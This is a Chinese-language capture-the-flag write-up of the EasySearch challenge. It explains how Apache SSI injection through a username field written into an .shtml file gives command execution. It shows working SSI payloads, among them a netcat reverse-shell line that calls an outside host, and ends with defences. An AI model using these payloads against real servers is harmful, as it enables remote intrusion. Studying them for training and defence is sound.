CTF 之 EasySearch 中 Apache SSI 远程命令执行和 shtml 文件学习

admin 2025年2月15日09:24:03评论10 views字数 1840阅读6分8秒阅读模式
本编文章基于小白练习CTF 之 EasySearch 中对于 Apache SSI 远程命令执行和 shtml 文件查补漏的基础上进一步认知了解其基础原理。
第一:准备好靶场环境

CTF 之 EasySearch 中 Apache SSI 远程命令执行和 shtml 文件学习

CTF 之 EasySearch 中 Apache SSI 远程命令执行和 shtml 文件学习

第二:对于我们拿到一个靶场环境,需要获取其有效信息方便我们如何去入手,首先看到输入框,很明显肯定会去尝试下 sql 注入是否可行,尝试抓包;也会尝试审计下网页源代码,是否存在有效信息。

CTF 之 EasySearch 中 Apache SSI 远程命令执行和 shtml 文件学习

第三:尝试未果,尝试扫一下目录,是否可以获取有效信息,我们使用 dirsearch 扫描。

CTF 之 EasySearch 中 Apache SSI 远程命令执行和 shtml 文件学习

第四:发现存在后台 index.php.swp 备份,打开发现其源码;

CTF 之 EasySearch 中 Apache SSI 远程命令执行和 shtml 文件学习

CTF 之 EasySearch 中 Apache SSI 远程命令执行和 shtml 文件学习

第五:其中 get_hash()函数限制了 password 值经过 MD5 加密后的前六位值等于 6d0bc1,然后在 public目录下创建 shtml 文件,并以 get_hash()函数返回值作为文件名,将 POST 方式传入的变量 username的值写入文件中。
着重看标记的代码,发现需要要求 password 的 md5 值的前 6 个字符为 6d0bc1,这里借鉴一下网上 python 脚本,点击运行;

CTF 之 EasySearch 中 Apache SSI 远程命令执行和 shtml 文件学习

CTF 之 EasySearch 中 Apache SSI 远程命令执行和 shtml 文件学习

第六:尝试输入 2020666 2305004 9162671 中随意一个作为密码抓包登录;登录成功后发现创建了一个.shtml 的文件;

CTF 之 EasySearch 中 Apache SSI 远程命令执行和 shtml 文件学习

第七:尝试访问.shtml 的文件,转到文件下,发现其 shtml 文件,此处是个知识点,对于小白我来说,需要去学习恶补下知识;
经过查阅资料,shtml 文件表示服务器当前开启了 SSI 与 CGI 支持,shtml 是基于 SSI 技术的一种网页文件,包括嵌入式服务器方命令的 html 文件,服务器动态产生的静态网页,还被称为 shtm 文件,shtml 文件可以使用网页编辑软件或者 IE 浏览器直接打开。
SSI 是类似于 CGI,用于动态页面的指令。SSI 是嵌入 HTML 页面中的指令,在页面被提供时由服务器进行运算,以对现有 HTML 页面增加动态生成的内容,而无须通过 CGI 程序提供其整个页面,或者使用其他动态技术。SSI 注入允许远程在 Web 应用中注入脚本来执行代码,也就是我们平时使用的命令执行;而 SSI 注入全称 Server-Side Includes Injection,即服务端包含注入。
从技术角度上来说,SSI 就是在 HTML 文件中,可以通过注释行调用的命令或指针,即允许通过在 HTML 页面注入脚本或远程执行任意代码。

我们这就明白可以使用 SSI 相关漏洞进行获取 flag 啦~

SSI 注入漏洞详细信息可参照(https://blog.csdn.net/qq_40657585/article/details/84260844)进学习;

CTF 之 EasySearch 中 Apache SSI 远程命令执行和 shtml 文件学习

第八:可以发现原来 shtml 的用户名就回显了指令,username 被写入了 shtml 文件,所以将其值修改为:<!--#exec cmd="whoami" -->查看 username 是否可控注入;

CTF 之 EasySearch 中 Apache SSI 远程命令执行和 shtml 文件学习

CTF 之 EasySearch 中 Apache SSI 远程命令执行和 shtml 文件学习

第九:因为是 ctf 的题目,我们肯定得知道 flag 在哪个目录下,我们可以利用<!--#exec cmd="find/ -type f -name flag*"-->linux 命令查看~

CTF 之 EasySearch 中 Apache SSI 远程命令执行和 shtml 文件学习

第十:可以查看到 flag 在此目录下,并且使用 cat 命令来查看

CTF 之 EasySearch 中 Apache SSI 远程命令执行和 shtml 文件学习

CTF 之 EasySearch 中 Apache SSI 远程命令执行和 shtml 文件学习

第十一:如此我们就获得此 ctf 所需要获得的 flag~~~

CTF 之 EasySearch 中 Apache SSI 远程命令执行和 shtml 文件学习

总结下此道题目我们需要注意学习的点:Apache SSI 远程命令执行和 shtml 文件这俩者的关系和知识。

1.shtml 文件:

在 SHTML 文件中使用 SSI 指令引用其他的 html 文件(#include),此时服务器会将 SHTML 中包含的 SSI 指令解释,再传送给客户端,此时的 HTML 中就不再有 SSI 指令了。比如说框架是固定的,但可以用#include 引用进来。

2.Apache SSI 远程命令执行:

①.当符合下列条件时,攻击者可以在 Web 服务器上运行任意命令:

Web 服务器已支持 SSI(服务器端包含)

Web 应用程序未对对相关 SSI 关键字做过滤

Web 应用程序在返回响应的 HTML 页面时,嵌入用户输入

②.SSI 远程命令执行格式:

<!--#exec cmd="命令"-->
一般执行语句,比如:
<!--#exec cmd="ls -al"-->
进一步利用,就可以访谈 shell,如:
-->'-->`--><<!--#exec cmd="nc x.x.x.x 9090 -e /bin/bash"-->

③.如何防御:

关闭服务器 SSI 功能

过滤相关 SSI 特殊字符(<,>,#,-,",')

至此,我们学习 SSI 和 shtml 就结束了。

原文始发于微信公众号(瑞不可当):CTF 之 EasySearch 中 Apache SSI 远程命令执行和 shtml 文件学习

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日09:24:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF 之 EasySearch 中 Apache SSI 远程命令执行和 shtml 文件学习https://cn-sec.com/archives/1054223.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息